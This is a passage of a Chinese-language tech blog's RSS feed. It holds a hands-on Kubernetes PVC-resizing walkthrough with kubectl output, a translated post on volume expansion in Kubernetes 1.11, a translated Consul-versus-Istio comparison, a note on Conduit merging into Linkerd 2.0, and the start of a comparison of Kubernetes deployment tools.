&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -f common.yaml
storageclass.storage.k8s.io/common created
$ kubectl apply -f exp.yaml
storageclass.storage.k8s.io/exp created
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;创建一个-pvc&#34;&gt;创建一个 PVC&lt;/h3&gt;

&lt;p&gt;我们接下来创建一个 PVC，初始首先测试一下 &lt;code&gt;common&lt;/code&gt; 这个 Storageclass，后续的 PVC 操作都从这一个 YAML 中修改而来。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: PersistentVolumeClaim
apiVersion: v1
metadata:
  name: myclaim
spec:
  accessModes:
    - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 2Gi
  storageClassName: common
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;同样使用 &lt;code&gt;kubectl&lt;/code&gt; 创建这个 PVC：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -f pvc.yaml
persistentvolumeclaim/myclaim created
$ kubectl get pvc -w
NAME      STATUS    VOLUME    CAPACITY   ACCESS MODES   STORAGECLASS   AGE
myclaim   Pending                                       common         9s
myclaim   Pending                                 common    10s
myclaim   Pending   pvc-e3f8e886-8776-11e8-b82d-000d3aa2ebc3   0                   common    11s
myclaim   Bound     pvc-e3f8e886-8776-11e8-b82d-000d3aa2ebc3   2Gi       RWO       common    11s
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;第一次扩容尝试&#34;&gt;第一次扩容尝试&lt;/h3&gt;

&lt;p&gt;PVC 进入 &lt;code&gt;Bound&lt;/code&gt; 状态之后，我们编辑 &lt;code&gt;pvc.yaml&lt;/code&gt;，将容量改成 3Gi，并重新 Apply：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cat pvc.yaml | sed  &amp;quot;s/2Gi/3Gi/&amp;quot; | kubectl apply -f -
Error from server (Forbidden): error when applying patch:
...
for: &amp;quot;STDIN&amp;quot;: persistentvolumeclaims &amp;quot;myclaim&amp;quot; is forbidden: only dynamically provisioned pvc can be resized and the storageclass that provisions the pvc must support resize
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;结果表明，这次扩容失败了，失败的原因是 Storageclass 不支持扩容&lt;/p&gt;

&lt;h3 id=&#34;使用新的-storageclass-创建-pvc&#34;&gt;使用新的 Storageclass 创建 PVC&lt;/h3&gt;

&lt;p&gt;接下来我们将这个 PVC 删除，使用 exp 这个 Storageclass 重建 PVC：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl delete -f pvc.yaml
persistentvolumeclaim &amp;quot;myclaim&amp;quot; deleted
$ sed -i .bak s/common/exp/ pvc.yaml
$ kubectl apply -f pvc.yaml
persistentvolumeclaim/myclaim created
$ kubectl get pvc -w
NAME      STATUS    VOLUME                                     CAPACITY   ACCESS MODES   STORAGECLASS   AGE
myclaim   Bound     pvc-37eb6014-8778-11e8-b82d-000d3aa2ebc3   2Gi        RWO            exp            11s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建之后，我们可以再次尝试对 PVC 进行扩容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cat pvc.yaml | sed  &amp;quot;s/2Gi/1Gi/&amp;quot; | kubectl apply -f -
The PersistentVolumeClaim &amp;quot;myclaim&amp;quot; is invalid: spec.resources.requests.storage: Forbidden: field can not be less than previous value
$ cat pvc.yaml | sed  &amp;quot;s/2Gi/3Gi/&amp;quot; | kubectl apply -f -
persistentvolumeclaim/myclaim configured
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里两次执行命令：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;缩容是不允许的&lt;/li&gt;
&lt;li&gt;扩容成功&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;接下来我们再次获取 PVC 信息：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl describe pvc myclaim
Name:          myclaim
Namespace:     default
StorageClass:  exp
Status:        Bound
Volume:        pvc-37eb6014-8778-11e8-b82d-000d3aa2ebc3
...
Capacity:      2Gi
Access Modes:  RWO
Conditions:
...
FileSystemResizePending
...
Waiting for user to (re-)start a pod to finish file system resize of volume on node.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里会看到，虽然没出错，但是容量还是原有的 2G，他的 Condition 中提示，需要进行一个 Pod 绑定才能真正生效。&lt;/p&gt;

&lt;h3 id=&#34;绑定-pod&#34;&gt;绑定 Pod&lt;/h3&gt;

&lt;p&gt;新建一个 Deployment 来使用前面创建的 PVC：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: sleep
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: sleep
        version: v1
    spec:
      containers:
      - name: sleep
        image: dustise/sleep:v0.5
        imagePullPolicy: IfNotPresent
        volumeMounts:
        - name: data
          mountPath: &amp;quot;/data&amp;quot;
      volumes:
      - name: data
        persistentVolumeClaim:
          claimName: myclaim
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次查看 PVC 的情况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl describe pvc myclaim
...
Capacity:      3Gi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;容量的修改的确生效了。&lt;/p&gt;

&lt;h3 id=&#34;绑定之后的-pvc-扩容&#34;&gt;绑定之后的 PVC 扩容&lt;/h3&gt;

&lt;p&gt;再次对这个 PVC 进行扩容，我们这次从 3Gi 扩容到 4Gi：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ cat pvc.yaml | sed  &amp;quot;s/2Gi/4Gi/&amp;quot; | kubectl apply -f -
persistentvolumeclaim/myclaim configured
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后获取一下 PVC 的情况：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl describe pvc myclaim
...
Capacity:      3Gi
...
Events:
  Warning  VolumeResizeFailed     31s (x2 over 56s)  volume_expand
  Original Error: failed request: autorest/azure: Service returned an error. Status=&amp;lt;nil&amp;gt; Code=&amp;quot;OperationNotAllowed&amp;quot; Message=&amp;quot;Cannot resize disk k8s-5b49c85f-dynamic-pvc-37eb6014-8778-11e8-b82d-000d3aa2ebc3 while it is attached to running VM /subscriptions/6d9be255-d214-4502-a51d-08e1d9c4a7fb/resourceGroups/k8s/providers/Microsoft.Compute/virtualMachines/k8s-agentpool1-17067717-0.&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这一情况看来，这次扩容仍然没有生效，错误信息中有提示，无法在已经成功挂载的卷上进行扩容，因此我们清除所有 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl scale deployment sleep --replicas 0
deployment.extensions/sleep scaled
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在相关 Pod 消失之后，我们可以再次 &lt;code&gt;describe pvc myclaim&lt;/code&gt;，发现这个 PVC 又一次处于等待绑定的状态中。使用 scale 指令恢复 Deployment 运行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl scale deployment sleep --replicas 1
deployment.extensions/sleep scaled
$ kubectl describe pvc myclaim
...
Capacity:      4Gi
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;PVC 的扩容再次成功了。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 中对持久卷进行扩容</title>
      <link>/post/k8s-1.11-resizing-pvc/</link>
      <pubDate>Sun, 15 Jul 2018 00:08:31 +0800</pubDate>
      <guid>/post/k8s-1.11-resizing-pvc/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2018/07/12/resizing-persistent-volumes-using-kubernetes/&#34; target=&#34;_blank&#34;&gt;Resizing Persistent Volumes using Kubernetes&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://www.linkedin.com/in/gnufied&#34; target=&#34;_blank&#34;&gt;Hemant Kumar&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes v1.11 中，持久卷扩容能力升级为 Beta 阶段。这个功能让用户可以轻松的通过编辑 PVC 对象的方式修改现有卷的容量。没有这一功能之前，要对卷容量进行修改，需要要和存储后端进行手工交互，或者对 PV 以及 PVC 进行删除重建操作。持久卷不支持缩容操作。&lt;/p&gt;

&lt;p&gt;v1.8 中卷扩展功能就已经进入 Alpha 阶段，v1.11 之前需要在 feature gate 中开启 &lt;code&gt;ExpandPersistentVolumes&lt;/code&gt;，以及 admission 控制器 &lt;code&gt;PersistentVolumeClaimResize&lt;/code&gt;（防止在底层存储不支持扩容的情况下对 PVC 进行扩容）。在 Kubernetes v1.11 中，这两个项目都会被缺省激活。&lt;/p&gt;

&lt;p&gt;虽然功能已经被激活，但是集群管理员还是需要进行操作，让用户能够对自己的卷进行扩容。Kubernetes 1.11 内置了对部分卷插件的扩容支持：AWS-EBS、GCE-PD、Azure Disk、Azure File、Glusterfs、Cinder、Portworx、以及 Ceph RBD。管理员确定底层存储能够支持卷扩展之后，就可以在 &lt;code&gt;StorageClass&lt;/code&gt; 对象中设置 &lt;code&gt;allowVolumeExpansion&lt;/code&gt; 为 &lt;code&gt;true&lt;/code&gt; 来启用这一功能了。只有从 &lt;code&gt;StorageClass&lt;/code&gt; 中创建的 PVC 才允许使用卷扩展：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: standard
parameters:
  type: pd-standard
provisioner: kubernetes.io/gce-pd
allowVolumeExpansion: true
reclaimPolicy: Delete
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;任何从这一 &lt;code&gt;StorageClass&lt;/code&gt; 中创建的 PVC 都能够通过编辑的方式来申请更多空间。Kubernetes 会处理 Storage 字段的变更，据此申请空间，触发卷的扩容。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: PersistentVolumeClaim
apiVersion: v1
metadata:
  name: myclaim
spec:
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 8Gi #更新这一字段，修改 PVC 容量
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;文件系统扩展&#34;&gt;文件系统扩展&lt;/h2&gt;

&lt;p&gt;GCE-PD、AWS-EBS、Azure Disk、Cinder 以及 Ceph RBD 这些块存储卷通常需要首先进行文件系统的扩展，然后被扩展的卷的额外空间才能为 Pod 所用。引用这些卷的 Pod 重启时，Kubernetes 会自动完成这些任务。&lt;/p&gt;

&lt;p&gt;网络挂载的文件系统，例如 Glusterfs 和 Azure File，因为不需要进行文件系统扩展，因此可以在不重启 Pod 的情况下直接进行扩展。&lt;/p&gt;

&lt;p&gt;只有终止引用卷的 Pod，才会触发对应文件系统的扩展，更确切地说：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;编辑 PVC，申请更多空间。&lt;/li&gt;
&lt;li&gt;底层存储对底层卷进行了扩展之后，PV 对象就会响应这一变化，PVC 会进入 &lt;code&gt;FileSystemResizePending&lt;/code&gt; 状态。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;可以运行 &lt;code&gt;kubectl get pvc &amp;lt;pvc_name&amp;gt; -o yaml&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: myclaim
  namespace: default
  uid: 02d4aa83-83cd-11e8-909d-42010af00004
spec:
  accessModes:
  - ReadWriteOnce
  resources:
    requests:
      storage: 14Gi
  storageClassName: standard
  volumeName: pvc-xxx
status:
  capacity:
    storage: 9G
  conditions:
  - lastProbeTime: null
    lastTransitionTime: 2018-07-11T14:51:10Z
    message: Waiting for user to (re-)start a pod to finish file system resize of
      volume on node.
    status: &amp;quot;True&amp;quot;
    type: FileSystemResizePending
  phase: Bound
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;PVC 进入 &lt;code&gt;FileSystemResizePending&lt;/code&gt; 状态，引用 PVC 的 Pod 就可以重新启动来结束文件系统在 Node 上的扩展过程了。可以通过删除和重建 Pod 的方式进行重启，也可以通过对 Deployment 的伸缩来完成这一过程。&lt;/li&gt;
&lt;li&gt;文件系统的扩展操作完成之后，PVC 会自动更新，设置为新的容量。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;文件系统扩展过程中遇到任何错误，都会在 Pod 中以 Event 的形式表现出来。&lt;/p&gt;

&lt;h2 id=&#34;在线文件系统扩展&#34;&gt;在线文件系统扩展&lt;/h2&gt;

&lt;p&gt;Kubernetes v1.11 还引入了一个 Alpha 功能，叫做在线文件系统扩展。这个功能可以对一个正在被 Pod 使用的卷进行文件系统的扩展。这个功能还处于 Alpha 阶段，因此需要通过 Feature gate 启用 &lt;code&gt;ExpandInUsePersistentVolumes&lt;/code&gt;。目前支持的有 GCE-PD、AWS-EBS、Cinder 以及 Ceph RBD。当激活这个功能后，引用被扩展的卷的 Pod 无需重启。文件系统会随着卷扩展的步骤进行扩展。文件系统的扩展只有在 Pod 引用被扩展的卷的时候才会发生，所以如果没有 Pod 引用这个卷，那么就不会进行文件系统扩展。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Consul vs Istio</title>
      <link>/post/consul-vs-istio/</link>
      <pubDate>Wed, 11 Jul 2018 19:40:12 +0800</pubDate>
      <guid>/post/consul-vs-istio/</guid>
      <description>&lt;p&gt;原文：&lt;a href=&#34;https://www.consul.io/intro/vs/istio.html&#34; target=&#34;_blank&#34;&gt;Consul vs Istio&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Istio 是一个开源平台，可以为微服务提供连接、管理和加密功能。&lt;/p&gt;

&lt;p&gt;要启用 Istio 的全部功能，必须部署多个服务。控制面包括了 Pilot、Mixer 以及 Citadel 这几个必要组件，数据面的 Envoy Sidecar 也是必不可少的。另外 Istio 需要第三方的服务发现支持，例如 Kubernetes、Consul、Eureka 或者其他别的什么。最后 Istio 需要一个外部系统用来进行存储，通常是 ETCD。换句话说，Istio 需要至少三个独立的服务，以及至少一个分布式系统才算完整。&lt;/p&gt;

&lt;p&gt;Istio 在七层提供了基于路径的路由、流量整形、负载均衡以及遥测功能。Istio 还基于服务认证功能提供了访问控制的支持，能使用七层和四层的属性对访问、路由进行控制。&lt;/p&gt;

&lt;p&gt;Consul 是一个单一的二进制文件，同时提供了服务器和客户端的能力，并自带全部的服务发现、配置、TLS、认证等功能。无需安装额外的系统即可使用，同时还为 Vault 之类的外部系统提供了可选支持，从而进行功能扩展。这一架构让 Consul 能够轻松的安装在任何平台上，也包括物理机。&lt;/p&gt;

&lt;p&gt;Consule 是一个基于 Agent 的模型，集群中的每个节点都需要运行一个 Consul 客户端。客户端软件管理一个本地缓存，缓存的数据来源于服务器。无需任何外部通信，所有的加密服务通信 API 都能在几毫秒的时间内进行响应。这样我们的连接过程发生在边缘，无需和中央服务器进行通信。Istio 将请求流入位于中央的 Mixer 服务，而数据的推送过程又必须由 Pilot 完成。这种机制极大的降低了 Istio 的稳定性，而 Consul 却能够在边缘高效的完成数据更新的分发以及其他工作。&lt;/p&gt;

&lt;p&gt;Consul 的数据面是可插接的。它包含了一个内置的代理服务器，这一服务牺牲了较多性能，换来易用性的提升。用户也可以使用 Envoy 这样的第三方代理。不同的任务会有各自合适的代理，Consul 就提供了这种能力，从而能够支持复杂多样的应用部署。&lt;/p&gt;

&lt;p&gt;除了第三方代理支持，应用可以直接和 Connect 协议进行集成。这样一来，引入 Connect 的开销就可以忽略不计了。任何其他的 Connect 支持的应用，不管使用代理或者 Connect 原生方式，都具备互联互通的能力。&lt;/p&gt;

&lt;p&gt;Consul 只在四层实现了认证和鉴权——TLS 连接是否能够建立。我们认为服务认证应该留在四层，七层要做的事情是路由、遥测等事情。我们鼓励用户借助我们的可插接数据面，为集群所需要的七层功能选择合适的代理服务器。Consul 会在未来加入更多七层特性。&lt;/p&gt;

&lt;p&gt;Consul 实现了自动的 TLS 认证管理，并且提供了完整的轮转支持。即使是一个大型的 Consul 集群中，也能够在无中断的情况下实现自动轮转。认证管理系统也是可插接的，目前通过代码集成在 Consul 中，很快我们会将其剥离成为外部插件。这就 Consul 就有了和任意 PKI 方案协同工作的能力。&lt;/p&gt;

&lt;p&gt;因为 Consul 的服务连接能力（”Connect“）是内置的，他也具备和 Consul 一样的稳定性。2014 年以来，Consule 就在大型企业的生产环境中工作，目前已经有单集群部署 50000 节点的规模。&lt;/p&gt;

&lt;p&gt;这一比较基于我们自己对 Istio 的有限认识，以及和 Istio 用户的交流。如果读者认为其中有不实之处，请点击 &lt;a href=&#34;https://github.com/hashicorp/consul/blob/master/website/source/intro/vs/istio.html.md&#34; target=&#34;_blank&#34;&gt;Edit this page&lt;/a&gt; 提交修改建议。我们会尽快对读者意见进行审核和更新，希望以此来保证本文的准确性。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Conduit 0.5 发布 —— 以及 R.I.P. Conduit</title>
      <link>/post/rip-conduit/</link>
      <pubDate>Sat, 07 Jul 2018 09:20:04 +0800</pubDate>
      <guid>/post/rip-conduit/</guid>
      <description>&lt;p&gt;7 月 6 日，Linkerd 博客再次更新，宣布 Conduit 0.5 发布：在翻炒了无数次 Prometheus 支持的冷饭之后，终于发布了新的功能 —— TLS 支持。&lt;/p&gt;

&lt;p&gt;紧接着一个更加重磅的消息：&lt;strong&gt;0.5 将是 Conduit 最后一个版本，未来将作为 Linkerd 2.0 的基础继续存在&lt;/strong&gt; - Conduit 的 Github 项目将会转移为 Linkerd2。&lt;/p&gt;

&lt;p&gt;回想一下，2017 年 12 月 5 日发布到现在的两百多天里，一共发布了 13 个版本、9 篇文档以及 12 篇博客。大致完成了 Conduit 问世之初的承诺：轻量、快速以及 Service Mesh 该有的种种功能；然而很可惜，第一篇 Conduit 博客中还提到了一点：“Conduit is not Linkerd 2.0. ”。这一次“战略性转移”，也印证了之前大家的担心——如果自身投入不足，又不能有效持续制造焦点、获取社区的持续关注和支持，先驱就变成先烈了。&lt;/p&gt;

&lt;p&gt;Service Mesh 的鏖战尚未开始，已经有人出局了，R.I.P. Conduit。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Draft vs Gitkube vs Helm vs Ksonnet vs Metaparticle vs Skaffold</title>
      <link>/post/draft-vs-gitkube-vs-helm-vs-ksonnet-vs-metaparticle-vs-skaffold/</link>
      <pubDate>Tue, 26 Jun 2018 11:29:18 +0800</pubDate>
      <guid>/post/draft-vs-gitkube-vs-helm-vs-ksonnet-vs-metaparticle-vs-skaffold/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://blog.hasura.io/draft-vs-gitkube-vs-helm-vs-ksonnet-vs-metaparticle-vs-skaffold-f5aa9561f948&#34; target=&#34;_blank&#34;&gt;Draft vs Gitkube vs Helm vs Ksonnet vs Metaparticle vs Skaffold&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://blog.hasura.io/@shahidh&#34; target=&#34;_blank&#34;&gt;Shahidh K Muhammed&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;tl-dr&#34;&gt;TL;DR&lt;/h2&gt;

&lt;h3 id=&#34;draft-https-draft-sh&#34;&gt;&lt;a href=&#34;https://draft.sh/&#34; target=&#34;_blank&#34;&gt;Draft&lt;/a&gt;&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;向 K8S 集群部署代码（自动“构建-推送-部署”）。&lt;/li&gt;
&lt;li&gt;使用 &lt;a href=&#34;https://github.com/Azure/draft/tree/master/packs&#34; target=&#34;_blank&#34;&gt;Draft 打包支持的语言&lt;/a&gt; 的代码可以不编写 Dockerfile 或者 K8S 元数据文件直接进行部署。&lt;/li&gt;
&lt;li&gt;需要 draft 以及 helm 客户端，集群要部署 tiller，本地 Docker，Docker 仓库。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;gitkube-https-gitkube-sh&#34;&gt;&lt;a href=&#34;https://gitkube.sh/&#34; target=&#34;_blank&#34;&gt;Gitkube&lt;/a&gt;&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;向 K8S 集群部署代码（自动“构建-推送-部署”）。&lt;/li&gt;
&lt;li&gt;Git 推送触发部署，本机无依赖。&lt;/li&gt;
&lt;li&gt;Git 仓库中需要提供 Dockerfile 以及 K8S 元数据文件，集群中需部署 gitkube。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;helm-https-helm-sh&#34;&gt;&lt;a href=&#34;https://helm.sh/&#34; target=&#34;_blank&#34;&gt;Helm&lt;/a&gt;&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;在 K8S 集群上对 Chart（其中包含一个应用的所有 K8S 资源定义文件）进行部署和管理。&lt;/li&gt;
&lt;li&gt;提供了很多通用应用（例如 MySQL、Mediawiki 等）的 Chart。&lt;/li&gt;
&lt;li&gt;客户端需要 Helm，服务端需要 Tiller，Chart 定义可以在本地也可以在仓库中保存。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;ksonnet-https-ksonnet-io&#34;&gt;&lt;a href=&#34;https://ksonnet.io/&#34; target=&#34;_blank&#34;&gt;Ksonnet&lt;/a&gt;&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;在 jsonnet 上定义 K8S 元数据文件，然后进行部署。&lt;/li&gt;
&lt;li&gt;可以对通用模式（例如 Deployment + Service）和应用栈（例如 Redis）进行复用。&lt;/li&gt;
&lt;li&gt;需要 jsonnet 知识，安装 ksonnet 客户端。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;metaparticle-https-metaparticle-io&#34;&gt;&lt;a href=&#34;https://metaparticle.io/&#34; target=&#34;_blank&#34;&gt;Metaparticle&lt;/a&gt;&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;使用 &lt;a href=&#34;https://metaparticle.io/&#34; target=&#34;_blank&#34;&gt;Metaparticle 支持的语言&lt;/a&gt; 编写代码，然后部署到 K8S 集群（自动“构建-推送-部署”）&lt;/li&gt;
&lt;li&gt;在应用的代码中直接定义容器化和 K8S 相关内容，傻瓜化的编写过程，无需编写 Dockerfile 或者 Yaml。&lt;/li&gt;
&lt;li&gt;需要本地 Docker 部署，需要相关语言的库。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;skaffold-https-github-com-googlecloudplatform-skaffold&#34;&gt;&lt;a href=&#34;https://github.com/GoogleCloudPlatform/skaffold&#34; target=&#34;_blank&#34;&gt;Skaffold&lt;/a&gt;&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;向 K8S 集群部署代码（自动“构建-推送-部署”）。&lt;/li&gt;
&lt;li&gt;监控源代码变更，变更发生后就会触发“构建-推送-部署”过程，Pipeline 可配置。&lt;/li&gt;
&lt;li&gt;需要 Skaffold 客户端、Dockerfile、K8S 元数据文件、Skaffold 元数据文件，本地 Docker 以及私库。&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;p&gt;下面进入一点细节。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;img/1*eBG8XpHztwns7GR9qtz0Pg.png&#34; alt=&#34;Brands&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当今的 Kubernetes 炙手可热，用户们寻求更多的方式和流程来进行 Kubernetes 集群上的应用部署。&lt;code&gt;kubectl&lt;/code&gt; 已经成为底层工具，用户需要更易用的流程。Draft、Gitkube、Helm、Ksonnet、MetaParticle 以及 Skaffold 都是用来帮助开发人员在 Kubernetes 上进行应用构建和部署的工具。&lt;/p&gt;

&lt;p&gt;Draft、Gitkube 和 Skaffold 减轻了开发人员的负担，在构建应用的过程中，能够更快的在 Kubernetes 上运行起来。Helm 和 Ksonnet 提供了定义应用、更新版本、选择不同集群等功能，在应用构建完成，进入发布就绪状态之后，这两个工具可以提高部署能力。Metaparticle 是比较独特的一个，他把包含 yaml、dockerfile 这些东西集成到业务代码之中。&lt;/p&gt;

&lt;p&gt;所以用户自身的用例中如何进行选择？&lt;/p&gt;

&lt;h2 id=&#34;正文&#34;&gt;正文&lt;/h2&gt;

&lt;h3 id=&#34;draft-https-draft-sh-1&#34;&gt;&lt;a href=&#34;https://draft.sh/&#34; target=&#34;_blank&#34;&gt;Draft&lt;/a&gt;&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;在任何 Kubernetes 集群上简化应用的开发和部署。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;顾名思义，Draft 让面向 Kubernetes 的应用开发变得简单。官方宣称，对于运行在 Kubernetes 上的应用，Draft 这一工具是帮助开发过程而非部署的。Draft 文档中推荐使用 Helm 进行应用部署。&lt;/p&gt;

&lt;p&gt;他的目标是：开发人员还在开发调试之中的本地的代码，不经提交到版本控制系统，直接运行到 Kubernetes 集群上。开发人员对 Draft 发布的应用变更满意之后，才提交给版本控制系统。&lt;/p&gt;

&lt;p&gt;Draft 不是用来在生产环境上进行部署的，他的用意就是在于快速推进面向 Kubernetes 环境的开发过程。他内部使用 Helm 来进行变更，因此他和 Helm 的集成是非常紧密的。&lt;/p&gt;

&lt;h4 id=&#34;架构&#34;&gt;架构&lt;/h4&gt;

&lt;p&gt;&lt;img src=&#34;img/1*kV56ClDz_rrMg5wT4lpQ5Q.png&#34; alt=&#34;Draft architecture&#34; /&gt;&lt;/p&gt;

&lt;p&gt;如上图所示，&lt;code&gt;Draft&lt;/code&gt; 客户端是一个关键组件。它感知代码的变化，然后从 &lt;code&gt;Repo&lt;/code&gt; 中获取对应的 &lt;code&gt;Pack&lt;/code&gt;。&lt;code&gt;Pack&lt;/code&gt; 是一个 Dockerfile 和 Helm chart 的合体，他们一起定义了应用的运行环境。&lt;code&gt;Pack&lt;/code&gt; 定义之后保存在 &lt;code&gt;Repo&lt;/code&gt; 中。用户可以定义自己的 &lt;code&gt;Pack&lt;/code&gt; 和 &lt;code&gt;Repo&lt;/code&gt;，这两个对象可以保存在本地，也可以在 Git 仓库之中。&lt;/p&gt;

&lt;p&gt;只要有对应的 &lt;code&gt;Pack&lt;/code&gt;，任何一个包含源码的目录都可以进行部署。使用 &lt;code&gt;draft create&lt;/code&gt; 处理目录之后，会在目录中添加 Dockerfile、Helm chart 以及 draft.toml 文件，&lt;code&gt;draft up&lt;/code&gt; 能够构建 Docker 镜像，推送到私库，然后使用 Helm Chart 部署应用。每次代码变更之后，再次执行这一命令，就会产生一个新的部署。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;draft connect&lt;/code&gt; 命令能够进行端口转发，以此在本地获取容器的日志。他还能够和 &lt;code&gt;nginx-ingress&lt;/code&gt; 集成，为上面部署的应用提供域名。&lt;/p&gt;

&lt;h4 id=&#34;从-0-到-kubernetes&#34;&gt;从 0 到 Kubernetes&lt;/h4&gt;

&lt;p&gt;下面是一个用 Draft 把 Python 应用运行到 K8S 集群上的步骤。可以从&lt;a href=&#34;https://github.com/Azure/draft/blob/master/docs/getting-started.md&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;获得更详细的指导。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;先决条件&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kubernetes 集群（包括 kubectl）&lt;/li&gt;
&lt;li&gt;Helm 客户端&lt;/li&gt;
&lt;li&gt;Draft 客户端&lt;/li&gt;
&lt;li&gt;Docker&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Docker 镜像库&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ helm init
$ draft init
$ draft config set registry docker.io/myusername
$ git clone https://github.com/Azure/draft
$ cd draft/examples/example-python
$ draft create
$ draft up
## 代码修改
$ draft up
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;用例&#34;&gt;用例&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;开发运行在 Kubernetes 上的应用。&lt;/li&gt;
&lt;li&gt;用于在提交到版本控制之前的“内部流程”。&lt;/li&gt;
&lt;li&gt;预 CI：应用完成 Draft 过程之后，可以由 CI/CD 接管。&lt;/li&gt;
&lt;li&gt;不应该用在生产环境部署环节。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;gitkube-https-gitkube-sh-1&#34;&gt;&lt;a href=&#34;https://gitkube.sh/&#34; target=&#34;_blank&#34;&gt;Gitkube&lt;/a&gt;&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;使用 git push 构建 Docker 镜像并在 Kubernetes 上进行部署。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Gitkube 是一个用来构建 Docker 镜像并向 Kubernetes 上部署的工具，他的起点就是 &lt;code&gt;git push&lt;/code&gt;，不像 Draft，他不需要客户端，只需在集群上独立运行。&lt;/p&gt;

&lt;p&gt;任何带有 Dockerfile 的代码仓库，都可以使用 gitkube 进行部署。Gitkube 安装和部署在集群之上，开发人员可以获取一个包含 git URL 的 CRD。开发人员推送到仓库的代码，会触发集群一端的 Docker Build 以及 Kubectl 发布流程。可以使用 kubectl 或 helm 等类似工具给应用创建应用元数据。&lt;/p&gt;

